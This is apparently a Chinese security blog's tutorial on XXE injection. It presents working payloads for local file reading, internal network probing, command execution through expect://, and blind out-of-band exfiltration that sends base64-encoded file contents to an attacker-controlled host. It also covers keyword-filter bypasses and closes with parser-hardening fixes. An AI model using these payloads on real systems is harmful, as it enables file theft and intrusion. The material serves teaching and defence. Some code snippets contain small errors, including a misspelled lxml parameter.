XEE

pumpk1n 发布于 8 天前 25 次阅读


概念

  • XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
  • XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML被设计为传输和存储数据,其焦点是数据的内容。 HTML被设计用来显示数据,其焦点是数据的外观。 HTML旨在显示信息,而XML旨在传输信息。

示例

<!--文档类型定义-->
<!DOCTYPE note [    <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>         <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>       <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>       <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>       <!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>
</note>

文件读取

<?xml version = "1.0"?>
<!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>

<x>&xxe;</x>

内网探针或攻击内网应用(触发漏洞地址)

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.137.1:80/test.txt">
]>

<x>&rabbit;</x>

RCE 该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "expect://id">
]>

<x>&xxe;</x>

引入外部实体DTD

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
        %file;
]>

<x>&send;</x>

//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

无回显-读取文件 url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
        %dtd;
        %send;
]>

test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

绕过

ENTITY SYSTEM file等关键词被过滤

使用编码方式绕过:UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

http被过滤

data://协议

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a " <!ENTITY %  b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> 
    %a;
    %b;
]>

<test>&hhh;</test>

file://协议

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>

<test>
        &hhh;
    </test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

修复与防御

方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_enities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

此作者没有提供个人介绍。
最后更新于 2026-06-07